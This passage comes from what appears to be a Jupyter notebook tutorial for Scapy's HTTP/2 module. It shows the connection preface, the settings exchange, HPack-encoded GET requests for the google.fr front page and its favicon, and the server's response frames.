setting.id == h2.H2Setting.SETTINGS_INITIAL_WINDOW_SIZE:\\n\",\n      \"        srv_global_window = setting.value\"\n     ],\n     \"language\": \"python\",\n     \"metadata\": {},\n     \"outputs\": [],\n     \"prompt_number\": 103\n    },\n    {\n     \"cell_type\": \"markdown\",\n     \"metadata\": {},\n     \"source\": [\n      \"HTTP/2 is a very polite protocol. We need to acknowledge the server settings. For this, we first need to send a constant string, which is a connection preface. This serves the purpose of confirming to the server that the HTTP/2 protocol is understood by the client. Scapy builds the appropriate packet for us to send from this constant string.\"\n     ]\n    },\n    {\n     \"cell_type\": \"code\",\n     \"collapsed\": false,\n     \"input\": [\n      \"import scapy.packet as packet\\n\",\n      \"\\n\",\n      \"# We verify that the server window is large enough for us to send some data.\\n\",\n      \"srv_global_window -= len(h2.H2_CLIENT_CONNECTION_PREFACE)\\n\",\n      \"assert(srv_global_window >= 0)\\n\",\n      \"\\n\",\n      \"ss.send(packet.Raw(h2.H2_CLIENT_CONNECTION_PREFACE))\"\n     ],\n     \"language\": \"python\",\n     \"metadata\": {},\n     \"outputs\": [\n      {\n       \"metadata\": {},\n       \"output_type\": \"pyout\",\n       \"prompt_number\": 104,\n       \"text\": [\n        \"24\"\n       ]\n      }\n     ],\n     \"prompt_number\": 104\n    },\n    {\n     \"cell_type\": \"markdown\",\n     \"metadata\": {},\n     \"source\": [\n      \"Then, we build the acknowledgment frame and we send our own settings in another frame. We will define very LARGE values (maximum values as defined in the RFC7540, in most cases), just so that we don't end up having to handle window management in this tutorial.\"\n     ]\n    },\n    {\n     \"cell_type\": \"code\",\n     \"collapsed\": false,\n     \"input\": [\n      \"set_ack = h2.H2Frame(flags={'A'})/h2.H2SettingsFrame()\\n\",\n      \"set_ack.show()\"\n     ],\n     \"language\": \"python\",\n     \"metadata\": {},\n     \"outputs\": [\n      {\n       \"output_type\": \"stream\",\n       \"stream\": \"stdout\",\n       \"text\": [\n        \"###[ HTTP/2 Frame ]### \\n\",\n        \"  len       = None\\n\",\n        \"  type      = SetFrm\\n\",\n        \"  flags     = set(['ACK (A)'])\\n\",\n        \"  reserved  = 0\\n\",\n        \"  stream_id = 0\\n\",\n        \"###[ HTTP/2 Settings Frame ]### \\n\",\n        \"     \\\\settings  \\\\\\n\",\n        \"\\n\"\n       ]\n      }\n     ],\n     \"prompt_number\": 105\n    },\n    {\n     \"cell_type\": \"code\",\n     \"collapsed\": false,\n     \"input\": [\n      \"own_set = h2.H2Frame()/h2.H2SettingsFrame()\\n\",\n      \"max_frm_sz = (1 << 24) - 1\\n\",\n      \"max_hdr_tbl_sz = (1 << 16) - 1\\n\",\n      \"win_sz = (1 << 31) - 1\\n\",\n      \"own_set.settings = [\\n\",\n      \"    h2.H2Setting(id = h2.H2Setting.SETTINGS_ENABLE_PUSH, value=0),\\n\",\n      \"    h2.H2Setting(id = h2.H2Setting.SETTINGS_INITIAL_WINDOW_SIZE, value=win_sz),\\n\",\n      \"    h2.H2Setting(id = h2.H2Setting.SETTINGS_HEADER_TABLE_SIZE, value=max_hdr_tbl_sz),\\n\",\n      \"    h2.H2Setting(id = h2.H2Setting.SETTINGS_MAX_FRAME_SIZE, value=max_frm_sz),\\n\",\n      \"]\"\n     ],\n     \"language\": \"python\",\n     \"metadata\": {},\n     \"outputs\": [],\n     \"prompt_number\": 106\n    },\n    {\n     \"cell_type\": \"markdown\",\n     \"metadata\": {},\n     \"source\": [\n      \"We then send the two frames and then read the acknowledgment of our settings from the server. We set up a loop because the first frames that we may read could be PING frames or window management frames.\"\n     ]\n    },\n    {\n     \"cell_type\": \"code\",\n     \"collapsed\": false,\n     \"input\": [\n      \"h2seq = h2.H2Seq()\\n\",\n      \"h2seq.frames = [\\n\",\n      \"    set_ack,\\n\",\n      \"    own_set\\n\",\n      \"]\\n\",\n      \"# We verify that the server window is large enough for us to send our frames.\\n\",\n      \"srv_global_window -= len(str(h2seq))\\n\",\n      \"assert(srv_global_window >= 0)\\n\",\n      \"ss.send(h2seq)\\n\",\n      \"\\n\",\n      \"# Loop until an acknowledgement for our settings is received\\n\",\n      \"new_frame = None\\n\",\n      \"while isinstance(new_frame, type(None)) or not (\\n\",\n      \"        new_frame.type == h2.H2SettingsFrame.type_id \\n\",\n      \"        and 'A' in new_frame.flags\\n\",\n      \"    ):\\n\",\n      \"    if not isinstance(new_frame, type(None)):\\n\",\n      \"        # If we received a frame about window management \\n\",\n      \"        if new_frame.type == h2.H2WindowUpdateFrame.type_id:\\n\",\n      \"            # For this tutorial, we don't care about stream-specific windows, but we should :)\\n\",\n      \"            if new_frame.stream_id == 0:\\n\",\n      \"                srv_global_window += new_frame.payload.win_size_incr\\n\",\n      \"        # If we received a Ping frame, we acknowledge the ping, \\n\",\n      \"        # just by setting the ACK flag (A), and sending back the query\\n\",\n      \"        elif new_frame.type == h2.H2PingFrame.type_id:\\n\",\n      \"            new_flags = new_frame.getfieldval('flags')\\n\",\n      \"            new_flags.add('A')\\n\",\n      \"            new_frame.flags = new_flags\\n\",\n      \"            srv_global_window -= len(str(new_frame))\\n\",\n      \"            assert(srv_global_window >= 0)\\n\",\n      \"            ss.send(new_frame)\\n\",\n      \"        else:\\n\",\n      \"            assert new_frame.type != h2.H2ResetFrame.type_id \\\\\\n\",\n      \"                and new_frame.type != h2.H2GoAwayFrame.type_id, \\\\\\n\",\n      \"                \\\"Error received; something is not right!\\\"\\n\",\n      \"    try:\\n\",\n      \"        new_frame = ss.recv()\\n\",\n      \"        new_frame.show()\\n\",\n      \"    except:\\n\",\n      \"        import time\\n\",\n      \"        time.sleep(1)\\n\",\n      \"        new_frame = None\"\n     ],\n     \"language\": \"python\",\n     \"metadata\": {},\n     \"outputs\": [\n      {\n       \"output_type\": \"stream\",\n       \"stream\": \"stdout\",\n       \"text\": [\n        \"###[ HTTP/2 Frame ]### \\n\",\n        \"  len       = 0x4\\n\",\n        \"  type      = WinFrm\\n\",\n        \"  flags     = set([])\\n\",\n        \"  reserved  = 0L\\n\",\n        \"  stream_id = 0L\\n\",\n        \"###[ HTTP/2 Window Update Frame ]### \\n\",\n        \"     reserved  = 0L\\n\",\n        \"     win_size_incr= 983041L\\n\",\n        \"\\n\",\n        \"###[ HTTP/2 Frame ]### \\n\",\n        \"  len       = 0x0\\n\",\n        \"  type      = SetFrm\\n\",\n        \"  flags     = set(['ACK (A)'])\\n\",\n        \"  reserved  = 0L\\n\",\n        \"  stream_id = 0L\\n\",\n        \"\\n\"\n       ]\n      }\n     ],\n     \"prompt_number\": 107\n    },\n    {\n     \"cell_type\": \"heading\",\n     \"level\": 2,\n     \"metadata\": {},\n     \"source\": [\n      \"Build the form query with the helpers\"\n     ]\n    },\n    {\n     \"cell_type\": \"markdown\",\n     \"metadata\": {},\n     \"source\": [\n      \"We are now building a query for the frontpage https://www.google.fr/. We use the HTTP/2 Scapy Module helpers to build this query. The parse_txt_hdrs helper receives various parameters regarding the size of the header blocks and the frame to automatically split the values on multiple frames, if need be. It also receives two callbacks to know which flavour of HPack header encoding we should apply.\\n\",\n      \"\\n\",\n      \"We either use the server settings if they were specified or the default values.\\n\",\n      \"\\n\",\n      \"You may note that we say that cookies are sensitive, regardless of their content. We would do something a bit smarter, if we knew what is the name of the cookies that are sensitive, and those that are merely informative. In HTTP/2 cookies are split into multiple \\\"cookie\\\" headers, while in HTTP/1.1, they are all stored inside the same header.\\n\",\n      \"\\n\",\n      \"As the client of this HTTP/2 connection, we need to use odd stream ids, per RFC7540. Since this is the first query, we will use the stream id 1.\"\n     ]\n    },\n    {\n     \"cell_type\": \"code\",\n     \"collapsed\": false,\n     \"input\": [\n      \"tblhdr = h2.HPackHdrTable()\\n\",\n      \"qry_frontpage = tblhdr.parse_txt_hdrs(\\n\",\n      \"    ''':method GET\\n\",\n      \":path /\\n\",\n      \":authority www.google.fr\\n\",\n      \":scheme https\\n\",\n      \"accept-encoding: gzip, deflate\\n\",\n      \"accept-language: fr-FR\\n\",\n      \"accept: text/html\\n\",\n      \"user-agent: Scapy HTTP/2 Module\\n\",\n      \"''',\\n\",\n      \"    stream_id=1,\\n\",\n      \"    max_frm_sz=srv_max_frm_sz,\\n\",\n      \"    max_hdr_lst_sz=srv_max_hdr_lst_sz,\\n\",\n      \"    is_sensitive=lambda hdr_name, hdr_val: hdr_name in ['cookie'],\\n\",\n      \"    should_index=lambda x: x in [\\n\",\n      \"            'x-requested-with', \\n\",\n      \"            'user-agent', \\n\",\n      \"            'accept-language',\\n\",\n      \"            ':authority',\\n\",\n      \"            'accept',\\n\",\n      \"        ]\\n\",\n      \")\\n\",\n      \"qry_frontpage.show()\"\n     ],\n     \"language\": \"python\",\n     \"metadata\": {},\n     \"outputs\": [\n      {\n       \"output_type\": \"stream\",\n       \"stream\": \"stdout\",\n       \"text\": [\n        \"###[ HTTP/2 Frame Sequence ]### \\n\",\n        \"  \\\\frames    \\\\\\n\",\n        \"   |###[ HTTP/2 Frame ]### \\n\",\n        \"   |  len       = None\\n\",\n        \"   |  type      = HdrsFrm\\n\",\n        \"   |  flags     = set(['End Stream (ES)', 'End Headers (EH)'])\\n\",\n        \"   |  reserved  = 0\\n\",\n        \"   |  stream_id = 1\\n\",\n        \"   |###[ HTTP/2 Headers Frame ]### \\n\",\n        \"   |     \\\\hdrs      \\\\\\n\",\n        \"   |      |###[ HPack Indexed Header Field ]### \\n\",\n        \"   |      |  magic     = 1\\n\",\n        \"   |      |  index     = 2\\n\",\n        \"   |      |###[ HPack Indexed Header Field ]### \\n\",\n        \"   |      |  magic     = 1\\n\",\n        \"   |      |  index     = 4\\n\",\n        \"   |      |###[ HPack Literal Header With Incremental Indexing ]### \\n\",\n        \"   |      |  magic     = 1\\n\",\n        \"   |      |  index     = 1\\n\",\n        \"   |      |  \\\\hdr_value \\\\\\n\",\n        \"   |      |   |###[ HPack Header String ]### \\n\",\n        \"   |      |   |  type      = None\\n\",\n        \"   |      |   |  len       = None\\n\",\n        \"   |      |   |  data      = 'HPackZString(www.google.fr)'\\n\",\n        \"   |      |###[ HPack Indexed Header Field ]### \\n\",\n        \"   |      |  magic     = 1\\n\",\n        \"   |      |  index     = 7\\n\",\n        \"   |      |###[ HPack Indexed Header Field ]### \\n\",\n        \"   |      |  magic     = 1\\n\",\n        \"   |      |  index     = 16\\n\",\n        \"   |      |###[ HPack Literal Header With Incremental Indexing ]### \\n\",\n        \"   |      |  magic     = 1\\n\",\n        \"   |      |  index     = 17\\n\",\n        \"   |      |  \\\\hdr_value \\\\\\n\",\n        \"   |      |   |###[ HPack Header String ]### \\n\",\n        \"   |      |   |  type      = None\\n\",\n        \"   |      |   |  len       = None\\n\",\n        \"   |      |   |  data      = 'HPackZString(fr-FR)'\\n\",\n        \"   |      |###[ HPack Literal Header With Incremental Indexing ]### \\n\",\n        \"   |      |  magic     = 1\\n\",\n        \"   |      |  index     = 19\\n\",\n        \"   |      |  \\\\hdr_value \\\\\\n\",\n        \"   |      |   |###[ HPack Header String ]### \\n\",\n        \"   |      |   |  type      = None\\n\",\n        \"   |      |   |  len       = None\\n\",\n        \"   |      |   |  data      = 'HPackZString(text/html)'\\n\",\n        \"   |      |###[ HPack Literal Header With Incremental Indexing ]### \\n\",\n        \"   |      |  magic     = 1\\n\",\n        \"   |      |  index     = 58\\n\",\n        \"   |      |  \\\\hdr_value \\\\\\n\",\n        \"   |      |   |###[ HPack Header String ]### \\n\",\n        \"   |      |   |  type      = None\\n\",\n        \"   |      |   |  len       = None\\n\",\n        \"   |      |   |  data      = 'HPackZString(Scapy HTTP/2 Module)'\\n\",\n        \"\\n\"\n       ]\n      }\n     ],\n     \"prompt_number\": 108\n    },\n    {\n     \"cell_type\": \"markdown\",\n     \"metadata\": {},\n     \"source\": [\n      \"The previous helper updated the HPackHdrTable structure with the headers that should be indexed. We don't need to look inside that table if we only use helpers. For the sake of this tutorial, though, we will.\"\n     ]\n    },\n    {\n     \"cell_type\": \"code\",\n     \"collapsed\": false,\n     \"input\": [\n      \"for i in xrange(max(tblhdr._static_entries.keys()) + 1, max(tblhdr._static_entries.keys()) + 1 + len(tblhdr._dynamic_table)):\\n\",\n      \"    print('Header: {} Value: {}'.format(tblhdr[i].name(), tblhdr[i].value()))\"\n     ],\n     \"language\": \"python\",\n     \"metadata\": {},\n     \"outputs\": [\n      {\n       \"output_type\": \"stream\",\n       \"stream\": \"stdout\",\n       \"text\": [\n        \"Header: user-agent Value: Scapy HTTP/2 Module\\n\",\n        \"Header: accept Value: text/html\\n\",\n        \"Header: accept-language Value: fr-FR\\n\",\n        \"Header: :authority Value: www.google.fr\\n\"\n       ]\n      }\n     ],\n     \"prompt_number\": 109\n    },\n    {\n     \"cell_type\": \"markdown\",\n     \"metadata\": {},\n     \"source\": [\n      \"We also build a query for the favicon.\"\n     ]\n    },\n    {\n     \"cell_type\": \"code\",\n     \"collapsed\": false,\n     \"input\": [\n      \"qry_icon = tblhdr.parse_txt_hdrs(\\n\",\n      \"    ''':method GET\\n\",\n      \":path /favicon.ico\\n\",\n      \":authority www.google.fr\\n\",\n      \":scheme https\\n\",\n      \"accept-encoding: gzip, deflate\\n\",\n      \"accept-language: fr-FR\\n\",\n      \"accept: image/x-icon; image/vnd.microsoft.icon\\n\",\n      \"user-agent: Scapy HTTP/2 Module\\n\",\n      \"''',\\n\",\n      \"    stream_id=3,\\n\",\n      \"    max_frm_sz=srv_max_frm_sz,\\n\",\n      \"    max_hdr_lst_sz=srv_max_hdr_tbl_sz,\\n\",\n      \"    is_sensitive=lambda hdr_name, hdr_val: hdr_name in ['cookie'],\\n\",\n      \"    should_index=lambda x: x in [\\n\",\n      \"            'x-requested-with', \\n\",\n      \"            'user-agent', \\n\",\n      \"            'accept-language',\\n\",\n      \"            ':authority',\\n\",\n      \"            'accept',\\n\",\n      \"        ]\\n\",\n      \")\\n\",\n      \"qry_icon.show()\"\n     ],\n     \"language\": \"python\",\n     \"metadata\": {},\n     \"outputs\": [\n      {\n       \"output_type\": \"stream\",\n       \"stream\": \"stdout\",\n       \"text\": [\n        \"###[ HTTP/2 Frame Sequence ]### \\n\",\n        \"  \\\\frames    \\\\\\n\",\n        \"   |###[ HTTP/2 Frame ]### \\n\",\n        \"   |  len       = None\\n\",\n        \"   |  type      = HdrsFrm\\n\",\n        \"   |  flags     = set(['End Stream (ES)', 'End Headers (EH)'])\\n\",\n        \"   |  reserved  = 0\\n\",\n        \"   |  stream_id = 3\\n\",\n        \"   |###[ HTTP/2 Headers Frame ]### \\n\",\n        \"   |     \\\\hdrs      \\\\\\n\",\n        \"   |      |###[ HPack Indexed Header Field ]### \\n\",\n        \"   |      |  magic     = 1\\n\",\n        \"   |      |  index     = 2\\n\",\n        \"   |      |###[ HPack Literal Header Without Indexing (or Never Indexing) ]### \\n\",\n        \"   |      |  magic     = 0\\n\",\n        \"   |      |  never_index= Don't Index\\n\",\n        \"   |      |  index     = 4\\n\",\n        \"   |      |  \\\\hdr_value \\\\\\n\",\n        \"   |      |   |###[ HPack Header String ]### \\n\",\n        \"   |      |   |  type      = None\\n\",\n        \"   |      |   |  len       = None\\n\",\n        \"   |      |   |  data      = 'HPackZString(/favicon.ico)'\\n\",\n        \"   |      |###[ HPack Indexed Header Field ]### \\n\",\n        \"   |      |  magic     = 1\\n\",\n        \"   |      |  index     = 65\\n\",\n        \"   |      |###[ HPack Indexed Header Field ]### \\n\",\n        \"   |      |  magic     = 1\\n\",\n        \"   |      |  index     = 7\\n\",\n        \"   |      |###[ HPack Indexed Header Field ]### \\n\",\n        \"   |      |  magic     = 1\\n\",\n        \"   |      |  index     = 16\\n\",\n        \"   |      |###[ HPack Indexed Header Field ]### \\n\",\n        \"   |      |  magic     = 1\\n\",\n        \"   |      |  index     = 64\\n\",\n        \"   |      |###[ HPack Literal Header With Incremental Indexing ]### \\n\",\n        \"   |      |  magic     = 1\\n\",\n        \"   |      |  index     = 19\\n\",\n        \"   |      |  \\\\hdr_value \\\\\\n\",\n        \"   |      |   |###[ HPack Header String ]### \\n\",\n        \"   |      |   |  type      = None\\n\",\n        \"   |      |   |  len       = None\\n\",\n        \"   |      |   |  data      = 'HPackZString(image/x-icon; image/vnd.microsoft.icon)'\\n\",\n        \"   |      |###[ HPack Indexed Header Field ]### \\n\",\n        \"   |      |  magic     = 1\\n\",\n        \"   |      |  index     = 63\\n\",\n        \"\\n\"\n       ]\n      }\n     ],\n     \"prompt_number\": 110\n    },\n    {\n     \"cell_type\": \"markdown\",\n     \"metadata\": {},\n     \"source\": [\n      \"You may note that several of the headers that are in common between the two queries (the one for the frontpage and the one for the /favicon.ico) are compressed in the second query. They are only referred to by an index number of the dynamic HPack Header Table.\\n\",\n      \"We now alter the favicon query to be dependent of the query for the form.\"\n     ]\n    },\n    {\n     \"cell_type\": \"code\",\n     \"collapsed\": false,\n     \"input\": [\n      \"real_qry_icon = h2.H2Frame(\\n\",\n      \"    stream_id=qry_icon.frames[0][h2.H2Frame].stream_id,\\n\",\n      \"    flags={'+'}.union(qry_icon.frames[0][h2.H2Frame].flags),\\n\",\n      \") / h2.H2PriorityHeadersFrame(\\n\",\n      \"    hdrs=qry_icon.frames[0][h2.H2HeadersFrame].hdrs,\\n\",\n      \"    stream_dependency=1,\\n\",\n      \"    weight=32,\\n\",\n      \"    exclusive=0\\n\",\n      \")\\n\",\n      \"real_qry_icon.show()\"\n     ],\n     \"language\": \"python\",\n     \"metadata\": {},\n     \"outputs\": [\n      {\n       \"output_type\": \"stream\",\n       \"stream\": \"stdout\",\n       \"text\": [\n        \"###[ HTTP/2 Frame ]### \\n\",\n        \"  len       = None\\n\",\n        \"  type      = HdrsFrm\\n\",\n        \"  flags     = set(['End Stream (ES)', 'End Headers (EH)', 'Priority (+)'])\\n\",\n        \"  reserved  = 0\\n\",\n        \"  stream_id = 3\\n\",\n        \"###[ HTTP/2 Headers Frame with Priority ]### \\n\",\n        \"     exclusive = 0\\n\",\n        \"     stream_dependency= 1\\n\",\n        \"     weight    = 32\\n\",\n        \"     \\\\hdrs      \\\\\\n\",\n        \"      |###[ HPack Indexed Header Field ]### \\n\",\n        \"      |  magic     = 1\\n\",\n        \"      |  index     = 2\\n\",\n        \"      |###[ HPack Literal Header Without Indexing (or Never Indexing) ]### \\n\",\n        \"      |  magic     = 0\\n\",\n        \"      |  never_index= Don't Index\\n\",\n        \"      |  index     = 4\\n\",\n        \"      |  \\\\hdr_value \\\\\\n\",\n        \"      |   |###[ HPack Header String ]### \\n\",\n        \"      |   |  type      = None\\n\",\n        \"      |   |  len       = None\\n\",\n        \"      |   |  data      = 'HPackZString(/favicon.ico)'\\n\",\n        \"      |###[ HPack Indexed Header Field ]### \\n\",\n        \"      |  magic     = 1\\n\",\n        \"      |  index     = 65\\n\",\n        \"      |###[ HPack Indexed Header Field ]### \\n\",\n        \"      |  magic     = 1\\n\",\n        \"      |  index     = 7\\n\",\n        \"      |###[ HPack Indexed Header Field ]### \\n\",\n        \"      |  magic     = 1\\n\",\n        \"      |  index     = 16\\n\",\n        \"      |###[ HPack Indexed Header Field ]### \\n\",\n        \"      |  magic     = 1\\n\",\n        \"      |  index     = 64\\n\",\n        \"      |###[ HPack Literal Header With Incremental Indexing ]### \\n\",\n        \"      |  magic     = 1\\n\",\n        \"      |  index     = 19\\n\",\n        \"      |  \\\\hdr_value \\\\\\n\",\n        \"      |   |###[ HPack Header String ]### \\n\",\n        \"      |   |  type      = None\\n\",\n        \"      |   |  len       = None\\n\",\n        \"      |   |  data      = 'HPackZString(image/x-icon; image/vnd.microsoft.icon)'\\n\",\n        \"      |###[ HPack Indexed Header Field ]### \\n\",\n        \"      |  magic     = 1\\n\",\n        \"      |  index     = 63\\n\",\n        \"\\n\"\n       ]\n      }\n     ],\n     \"prompt_number\": 111\n    },\n    {\n     \"cell_type\": \"markdown\",\n     \"metadata\": {},\n     \"source\": [\n      \"We can now send both queries to the server.\"\n     ]\n    },\n    {\n     \"cell_type\": \"code\",\n     \"collapsed\": false,\n     \"input\": [\n      \"h2seq = h2.H2Seq()\\n\",\n      \"h2seq.frames = [\\n\",\n      \"    qry_frontpage.frames[0],\\n\",\n      \"    real_qry_icon\\n\",\n      \"]\\n\",\n      \"srv_global_window -= len(str(h2seq))\\n\",\n      \"assert(srv_global_window >= 0)\\n\",\n      \"ss.send(h2seq)\"\n     ],\n     \"language\": \"python\",\n     \"metadata\": {},\n     \"outputs\": [\n      {\n       \"metadata\": {},\n       \"output_type\": \"pyout\",\n       \"prompt_number\": 112,\n       \"text\": [\n        \"117\"\n       ]\n      }\n     ],\n     \"prompt_number\": 112\n    },\n    {\n     \"cell_type\": \"markdown\",\n     \"metadata\": {},\n     \"source\": [\n      \"Let's read the answers!\"\n     ]\n    },\n    {\n     \"cell_type\": \"code\",\n     \"collapsed\": false,\n     \"input\": [\n      \"# The stream variable will contain all read frames; we will read on until stream 1 and stream 3 are closed by the server.\\n\",\n      \"stream = h2.H2Seq()\\n\",\n      \"# Number of streams closed by the server\\n\",\n      \"closed_stream = 0\\n\",\n      \"\\n\",\n      \"new_frame = None\\n\",\n      \"while True:\\n\",\n      \"    if not isinstance(new_frame, type(None)):\\n\",\n      \"        if new_frame.stream_id in [1, 3]:\\n\",\n      \"            stream.frames.append(new_frame)\\n\",\n      \"            if 'ES' in new_frame.flags:\\n\",\n      \"                closed_stream += 1\\n\",\n      \"        # If we read a PING frame, we acknowledge it by sending the same frame back, with the ACK flag set.\\n\",\n      \"        elif new_frame.stream_id == 0 and new_frame.type == h2.H2PingFrame.type_id:\\n\",\n      \"            new_flags = new_frame.getfieldval('flags')\\n\",\n      \"            new_flags.add('A')\\n\",\n      \"            new_frame.flags = new_flags\\n\",\n      \"            ss.send(new_frame)\\n\",\n      \"            \\n\",\n      \"        # If two streams were closed, we don't need to perform the next operations\\n\",\n      \"        if closed_stream >= 2:\\n\",\n      \"            break\\n\",\n      \"    try:\\n\",\n      \"        new_frame = ss.recv()\\n\",\n      \"        new_frame.show()\\n\",\n      \"    except:\\n\",\n      \"        import time\\n\",\n      \"        time.sleep(1)\\n\",\n      \"        new_frame = None\\n\",\n      \"\\n\",\n      \"stream.show()\"\n     ],\n     \"language\": \"python\",\n     \"metadata\": {},\n     \"outputs\": [\n      {\n       \"output_type\": \"stream\",\n       \"stream\": \"stdout\",\n       \"text\": [\n        \"###[ HTTP/2 Frame ]### \\n\",\n        \"  len       = 0xe1\\n\",\n        \"  type      = HdrsFrm\\n\",\n        \"  flags     = set(['End Headers (EH)'])\\n\",\n        \"  reserved  = 0L\\n\",\n        \"  stream_id = 3L\\n\",\n        \"###[ HTTP/2 Headers Frame ]### \\n\",\n        \"     \\\\hdrs      \\\\\\n\",\n        \"      |###[ HPack Dynamic Size Update ]### \\n\",\n        \"      |  magic     = 1\\n\",\n        \"      |  max_size  = 12288\\n\",\n        \"      |###[ HPack Indexed Header Field ]### \\n\",\n        \"      |  magic     = 1\\n\",\n        \"      |  index     = 8\\n\",\n        \"      |###[ HPack Literal Header With Incremental Indexing ]### \\n\",\n        \"      |  magic     = 1\\n\",\n        \"      |  index     = 59\\n\",\n        \"      |  \\\\hdr_value \\\\\\n\",\n        \"      |   |###[ HPack Header String ]### \\n\",\n        \"      |   |  type      = Compressed\\n\",\n        \"      |   |  len       = 11\\n\",\n        \"      |   |  data      = 'HPackZString(Accept-Encoding)'\\n\",\n        \"      |###[ HPack Literal Header With Incremental Indexing ]### \\n\",\n        \"      |  magic     = 1\\n\",\n        \"      |  index     = 26\\n\",\n        \"      |  \\\\hdr_value \\\\\\n\",\n        \"      |   |###[ HPack Header String ]### \\n\",\n        \"      |   |  type      = Compressed\\n\",\n        \"      |   |  len       = 3\\n\",\n        \"      |   |  data      = 'HPackZString(gzip)'\\n\",\n        \"      |###[ HPack Literal Header With Incremental Indexing ]### \\n\",\n        \"      |  magic     = 1\\n\",\n        \"      |  index     = 31\\n\",\n        \"      |  \\\\hdr_value \\\\\\n\",\n        \"      |   |###[ HPack Header String ]### \\n\",\n        \"      |   |  type      = Compressed\\n\",\n        \"      |   |  len       = 9\\n\",\n        \"      |   |  data      = 'HPackZString(image/x-icon)'\\n\",\n        \"      |###[ HPack Literal Header With Incremental Indexing ]### \\n\",\n        \"      |  magic     = 1\\n\",\n        \"      |  index     = 33\\n\",\n        \"      |  \\\\hdr_value \\\\\\n\",\n        \"      |   |###[ HPack Header String ]### \\n\",\n        \"      |   |  type      = Compressed\\n\",\n        \"      |   |  len       = 22\\n\",\n        \"      |   |  data      = 'HPackZString(Thu, 08 Dec 2016 06:23:59 GMT)'\\n\",\n        \"      |###[ HPack Literal Header With Incremental Indexing ]### \\n\",\n        \"      |  magic     = 1\\n\",\n        \"      |  index     = 36\\n\",\n        \"      |  \\\\hdr_value \\\\\\n\",\n        \"      |   |###[ HPack Header String ]### \\n\",\n        \"      |   |  type      = Compressed\\n\",\n        \"      |   |  len       = 22\\n\",\n        \"      |   |  data      = 'HPackZString(Fri, 16 Dec 2016 06:23:59 GMT)'\\n\",\n        \"      |###[ HPack Literal Header With Incremental Indexing ]### \\n\",\n        \"      |  magic     = 1\\n\",\n        \"      |  index     = 44\\n\",\n        \"      |  \\\\hdr_value \\\\\\n\",\n        \"      |   |###[ HPack Header String ]### \\n\",\n        \"      |   |  type      = Compressed\\n\",\n        \"      |   |  len       = 22\\n\",\n        \"      |   |  data      = 'HPackZString(Thu, 08 Dec 2016 01:00:57 GMT)'\\n\",\n        \"      |###[ HPack Literal Header With Incremental Indexing ]### \\n\",\n        \"      |  magic     = 1\\n\",\n        \"      |  index     = 0\\n\",\n        \"      |  \\\\hdr_name  \\\\\\n\",\n        \"      |   |###[ HPack Header String ]### \\n\",\n        \"      |   |  type      = Compressed\\n\",\n        \"      |   |  len       = 16\\n\",\n        \"      |   |  data      = 'HPackZString(x-content-type-options)'\\n\",\n        \"      |  \\\\hdr_value \\\\\\n\",\n        \"      |   |###[ HPack Header String ]### \\n\",\n        \"      |   |  type      = Compressed\\n\",\n        \"      |   |  len       = 5\\n\",\n        \"      |   |  data      = 'HPackZString(nosniff)'\\n\",\n        \"      |###[ HPack Literal Header With Incremental Indexing ]### \\n\",\n        \"      |  magic     = 1\\n\",\n        \"      |  index     = 54\\n\",\n        \"      |  \\\\hdr_value \\\\\\n\",\n        \"      |   |###[ HPack Header String ]### \\n\",\n        \"      |   |  type      = Compressed\\n\",\n        \"      |   |  len       = 3\\n\",\n        \"      |   |  data      = 'HPackZString(sffe)'\\n\",\n        \"      |###[ HPack Literal Header With Incremental Indexing ]### \\n\",\n        \"      |  magic     = 1\\n\",\n        \"      |  index     = 28\\n\",\n        \"      |  \\\\hdr_value \\\\\\n\",\n        \"      |   |###[ HPack Header String ]### \\n\",\n        \"      |   |  type      = Compressed\\n\",\n        \"      |   |  len       = 3\\n\",\n        \"      |   |  data      = 'HPackZString(1494)'\\n\",\n        \"      |###[ HPack Literal Header With Incremental Indexing ]### \\n\",\n        \"      |  magic     = 1\\n\",\n        \"      |  index     = 0\\n\",\n        \"      |  \\\\hdr_name  \\\\\\n\",\n        \"      |   |###[ HPack Header String ]### \\n\",\n        \"      |   |  type      = Compressed\\n\",\n        \"      |   |  len       = 12\\n\",\n        \"      |   |  data      = 'HPackZString(x-xss-protection)'\\n\",\n        \"      |  \\\\hdr_value \\\\\\n\",\n        \"      |   |###[ HPack Header String ]### \\n\",\n        \"      |   |  type      = Compressed\\n\",\n        \"      |   |  len       = 10\\n\",\n        \"      |   |  data      = 'HPackZString(1; mode=block)'\\n\",\n        \"      |###[ HPack Literal Header With Incremental Indexing ]### \\n\",\n        \"      |  magic     = 1\\n\",\n        \"      |  index     = 24\\n\",\n        \"      |  \\\\hdr_value \\\\\\n\",\n        \"      |   |###[ HPack Header String ]### \\n\",\n        \"      |   |  type      = Compressed\\n\",\n        \"      |   |  len       = 16\\n\",\n        \"      |   |  data      = 'HPackZString(public, max-age=691200)'\\n\",\n        \"      |###[ HPack Literal Header With Incremental Indexing ]### \\n\",\n        \"      |  magic     = 1\\n\",\n        \"      |  index     = 21\\n\",\n        \"      |  \\\\hdr_value \\\\\\n\",\n        \"      |   |###[ HPack Header String ]### \\n\",\n        \"      |   |  type      = Compressed\\n\",\n        \"      |   |  len       = 5\\n\",\n        \"      |   |  data      = 'HPackZString(472252)'\\n\",\n        \"      |###[ HPack Literal Header With Incremental Indexing ]### \\n\",\n        \"      |  magic     = 1\\n\",\n        \"      |  index     = 0\\n\",\n        \"      |  \\\\hdr_name  \\\\\\n\",\n        \"      |   |###[ HPack Header String ]### \\n\",\n        \"      |   |  type      = Compressed\\n\",\n        \"      |   |  len       = 5\\n\",\n        \"      |   |  data      = 'HPackZString(alt-svc)'\\n\",\n        \"      |  \\\\hdr_value \\\\\\n\",\n        \"      |   |###[ HPack Header String ]### \\n\",\n        \"      |   |  type      = Compressed\\n\",\n        \"      |   |  len       = 28\\n\",\n        \"      |   |  data      = 'HPackZString(quic=\\\":443\\\"; ma=2592000; v=\\\"35,34\\\")'\\n\",\n        \"\\n\",\n        \"###[ HTTP/2 Frame ]### \\n\",\n        \"  len       = 0x5d6\\n\",\n        \"  type      = DataFrm\\n\",\n        \"  flags     = set(['End Stream (ES)'])\\n\",\n        \"  reserved  = 0L\\n\",\n        \"  stream_id = 3L\\n\",\n        \"###[ HTTP/2 Data Frame ]### \\n\",\n        \"     data      = 